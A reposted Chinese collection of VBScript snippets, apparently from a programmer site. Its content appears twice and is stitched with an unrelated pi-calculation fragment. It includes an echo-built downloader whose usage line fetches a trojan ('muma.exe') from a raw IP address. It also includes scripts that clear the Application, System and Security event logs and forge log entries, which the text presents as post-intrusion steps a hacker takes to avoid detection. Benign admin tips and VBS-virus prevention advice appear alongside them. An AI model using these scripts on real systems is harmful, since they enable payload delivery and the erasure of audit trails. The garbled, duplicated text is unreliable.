收集的一些经典的vbs脚本大全
程序员文章站
2022-03-20 14:13:32
记录一些经典的vbs脚本 1.文件下载(无回显) echo ilocal = lcase(wscript.argume...
记录一些经典的vbs脚本
1.文件下载(无回显)
echo ilocal = lcase(wscript.arguments(1)) >iget.vbe
echo iremote = lcase(wscript.arguments(0)) >>iget.vbe
echo set xpost = createobject("microsoft.xmlhttp") >>iget.vbe
echo xpost.open "get",iremote,0 >>iget.vbe
echo xpost.send() >>iget.vbe
echo set sget = createobject("adodb.stream") >>iget.vbe
echo sget.mode = 3 >>iget.vbe
echo sget.type = 1 >>iget.vbe
echo sget.open() >>iget.vbe
echo sget.write(xpost.responsebody) >>iget.vbe
echo sget.savetofile ilocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe
2.列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cscript ps.vbs
3.终止进程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重启系统
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
vbs脚本在系统安全中的八则巧妙应用
vbs脚本病毒的大量流行使我们对vbs的功能有了一个全新的认识,现在大家对它也开始重视起来。vbs代码在本地是通过windows script host(wsh)解释执行的。vbs脚本的执行离不开wsh,wsh是微软提供的一种基于32位windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在windows桌面或命令提示符下运行。利用wsh,用户能够操纵wsh对象、activex对象、注册表和文件系统。在windows 2000下,还可用wsh来访问windows nt活动目录服务。
用vbs编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于vbs大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的vbs在系统安全中的八则妙用吧。
一、给注册表编辑器解锁
用记事本编辑如下内容:
dim wsh
set wsh=wscript.createobject("wscript.shell") '击活wscript.shell对象
wsh.popup("解锁注册表编辑器!")
'显示弹出信息“解锁注册表编辑器!”
wsh.regwrite"hkcu\software\microsoft\windows\currentversion
\policies\system\disableregistrytools",0,"reg_dword"
'给注册表编辑器解锁
wsh.popup("注册表解锁成功!")
'显示弹出信息“注册表解锁成功!”
保存为以.vbs为扩展名的文件,使用时双击即可。
二、关闭win nt/2000的默认共享
用记事本编辑如下内容:
dim wshshell'定义变量
set wshshell=createobject("wscript.shell") '创建一个能与操作系统沟通的对象wshshell
dim fso,dc
set fso=createobject("scripting.filesystemobject")'创建文件系统对象
set dc=fso.drives '获取所有驱动器盘符
for each d in dc
dim str
wshshell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享
next
wshshell.run("net share admin$ /delete")
wshshell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享
现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了
三、显示本机ip地址
有许多时候,我们需要知道本机的ip地址,使用各种软件虽然可以办到,但用vbs脚本也非常的方便。用记事本编辑如下内容:
dim ws
set ws=createobject("mswinsock.winsock")
ipaddress=ws.localip
msgbox "local ip=" & ipaddress
将上面的内容保存为showip.vbs,双击执行即可得到本机ip地址。
四、利用脚本编程删除日志
入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的vmi就可以删除日志,而且非常的简单方便。源代码如下:
strcomputer= "."
set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate,(backup)}!\\" & _
strcomputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for each logs in mylogs
set collogfiles=objwmiservice.execquery _
("select * from win32_nteventlogfile where logfilename='"&logs&"'")
for each objlogfile in collogfiles
objlogfile.cleareventlog()
next
next
将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其cleareventlog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。
五、利用脚本伪造日志
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:
set ws=wscript.createobject("wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志
将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为wsh,即windows scripting host,所以不能起太多的隐蔽作用,在此仅供大家参考。
六、禁用开始菜单选项
用记事本编辑如下内容:
dim changestartmenu
set changestartmenu=wscript.createobject("wscript.shell")
regpath="hkcr\software\microsoft\windows\currentversion\policies\"
type_name="reg_dword"
key_data=1
startmenu_run="norun"
startmenu_find="nofind"
startmenu_close="noclose"
sub change(argument)
changestartmenu.regwrite regpath&argument,key_data,type_name
msgbox("success!")
end sub
call change(startmenu_run) '禁用“开始”菜单中的“运行”功能
call change(startmenu_find) '禁用“开始”菜单中的“查找”功能
call change(startmenu_close) '禁用“开始”菜单中的“关闭系统”功能
将以上代码保存为changestartmenu.vbs文件,使用时双击即可。
七、执行外部程序
用记事本编辑如下内容:
dim objshell
set objshell=wscript.createobject("wscript.shell")
ireturn=objshell.run("cmd.exe /c set var=world", 1, true)
保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。
八、重新启动指定的iis服务
用记事本编辑如下内容:
const ads_service_stopped = 1
set objcomputer = getobject("winnt://mycomputer,computer")
set objservice = objcomputer.getobject("service","myservice")
if (objservice.status = ads_service_stopped) then
objservice.start
end if
将它以startsvc.vbs为名保存在c盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的iis服务项将被重新开启。
最后,我们再说说开篇时提到的vbs脚本病毒的防范方法。vbs病毒的执行离不开wsh,在带给人们便利的同时,wsh也为病毒的传播留下可乘之机。所以要想防范vbs病毒,可以选择将wsh卸载,只要打开控制面板,找到“添加/删除程序”,点选“windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“windows scripting host”一项的“√”去掉,然后连续点两次“确定”就可以将wsh卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除vbs、vbe、js、jse文件后缀名与应用程序的映射,都可以达到防范vbs脚本病毒的目的。
当最后一项的绝对值小于0.000001时停止计算。
编写如下vbscript程序代码:
<html>
<head><title>计算圆周率π</title></head>
<body><h3>计算圆周率π</h3><hr>
<input type="button" name="button1" value="计算">
<script for="button1" event="onclick" language="vbscript">
k = 1: s = 1: t = 1: m = 1
图3-12 计算圆周率
while abs(t) > 0.0000001
k = k + 2
m = -m
t = m / k
s = s + t
wend
msgbox "圆周率π=" & 4 * s
</script>
</body>
</html>
执行vbscript程序,浏览器显示如图3-12所示。
注意:程序运行时间可能很长。
只有30字节,能写什么?
1.文件下载(无回显)
echo ilocal = lcase(wscript.arguments(1)) >iget.vbe
echo iremote = lcase(wscript.arguments(0)) >>iget.vbe
echo set xpost = createobject("microsoft.xmlhttp") >>iget.vbe
echo xpost.open "get",iremote,0 >>iget.vbe
echo xpost.send() >>iget.vbe
echo set sget = createobject("adodb.stream") >>iget.vbe
echo sget.mode = 3 >>iget.vbe
echo sget.type = 1 >>iget.vbe
echo sget.open() >>iget.vbe
echo sget.write(xpost.responsebody) >>iget.vbe
echo sget.savetofile ilocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe
2.列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cscript ps.vbs
3.终止进程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重启系统
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
vbs脚本在系统安全中的八则巧妙应用
vbs脚本病毒的大量流行使我们对vbs的功能有了一个全新的认识,现在大家对它也开始重视起来。vbs代码在本地是通过windows script host(wsh)解释执行的。vbs脚本的执行离不开wsh,wsh是微软提供的一种基于32位windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在windows桌面或命令提示符下运行。利用wsh,用户能够操纵wsh对象、activex对象、注册表和文件系统。在windows 2000下,还可用wsh来访问windows nt活动目录服务。
用vbs编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于vbs大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的vbs在系统安全中的八则妙用吧。
一、给注册表编辑器解锁
用记事本编辑如下内容:
dim wsh
set wsh=wscript.createobject("wscript.shell") '击活wscript.shell对象
wsh.popup("解锁注册表编辑器!")
'显示弹出信息“解锁注册表编辑器!”
wsh.regwrite"hkcu\software\microsoft\windows\currentversion
\policies\system\disableregistrytools",0,"reg_dword"
'给注册表编辑器解锁
wsh.popup("注册表解锁成功!")
'显示弹出信息“注册表解锁成功!”
保存为以.vbs为扩展名的文件,使用时双击即可。
二、关闭win nt/2000的默认共享
用记事本编辑如下内容:
dim wshshell'定义变量
set wshshell=createobject("wscript.shell") '创建一个能与操作系统沟通的对象wshshell
dim fso,dc
set fso=createobject("scripting.filesystemobject")'创建文件系统对象
set dc=fso.drives '获取所有驱动器盘符
for each d in dc
dim str
wshshell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享
next
wshshell.run("net share admin$ /delete")
wshshell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享
现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了
三、显示本机ip地址
有许多时候,我们需要知道本机的ip地址,使用各种软件虽然可以办到,但用vbs脚本也非常的方便。用记事本编辑如下内容:
dim ws
set ws=createobject("mswinsock.winsock")
ipaddress=ws.localip
msgbox "local ip=" & ipaddress
将上面的内容保存为showip.vbs,双击执行即可得到本机ip地址。
四、利用脚本编程删除日志
入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的vmi就可以删除日志,而且非常的简单方便。源代码如下:
strcomputer= "."
set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate,(backup)}!\\" & _
strcomputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for each logs in mylogs
set collogfiles=objwmiservice.execquery _
("select * from win32_nteventlogfile where logfilename='"&logs&"'")
for each objlogfile in collogfiles
objlogfile.cleareventlog()
next
next
将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其cleareventlog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。
五、利用脚本伪造日志
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:
set ws=wscript.createobject("wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志
将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为wsh,即windows scripting host,所以不能起太多的隐蔽作用,在此仅供大家参考。
六、禁用开始菜单选项
用记事本编辑如下内容:
dim changestartmenu
set changestartmenu=wscript.createobject("wscript.shell")
regpath="hkcr\software\microsoft\windows\currentversion\policies\"
type_name="reg_dword"
key_data=1
startmenu_run="norun"
startmenu_find="nofind"
startmenu_close="noclose"
sub change(argument)
changestartmenu.regwrite regpath&argument,key_data,type_name
msgbox("success!")
end sub
call change(startmenu_run) '禁用“开始”菜单中的“运行”功能
call change(startmenu_find) '禁用“开始”菜单中的“查找”功能
call change(startmenu_close) '禁用“开始”菜单中的“关闭系统”功能
将以上代码保存为changestartmenu.vbs文件,使用时双击即可。
七、执行外部程序
用记事本编辑如下内容:
dim objshell
set objshell=wscript.createobject("wscript.shell")
ireturn=objshell.run("cmd.exe /c set var=world", 1, true)
保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。
八、重新启动指定的iis服务
用记事本编辑如下内容:
const ads_service_stopped = 1
set objcomputer = getobject("winnt://mycomputer,computer")
set objservice = objcomputer.getobject("service","myservice")
if (objservice.status = ads_service_stopped) then
objservice.start
end if
将它以startsvc.vbs为名保存在c盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的iis服务项将被重新开启。
最后,我们再说说开篇时提到的vbs脚本病毒的防范方法。vbs病毒的执行离不开wsh,在带给人们便利的同时,wsh也为病毒的传播留下可乘之机。所以要想防范vbs病毒,可以选择将wsh卸载,只要打开控制面板,找到“添加/删除程序”,点选“windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“windows scripting host”一项的“√”去掉,然后连续点两次“确定”就可以将wsh卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除vbs、vbe、js、jse文件后缀名与应用程序的映射,都可以达到防范vbs脚本病毒的目的。
当最后一项的绝对值小于0.000001时停止计算。
编写如下vbscript程序代码:
<html>
<head><title>计算圆周率π</title></head>
<body><h3>计算圆周率π</h3><hr>
<input type="button" name="button1" value="计算">
<script for="button1" event="onclick" language="vbscript">
k = 1: s = 1: t = 1: m = 1
图3-12 计算圆周率
while abs(t) > 0.0000001
k = k + 2
m = -m
t = m / k
s = s + t
wend
msgbox "圆周率π=" & 4 * s
</script>
</body>
</html>
执行vbscript程序,浏览器显示如图3-12所示。
注意:程序运行时间可能很长。
只有30字节,能写什么?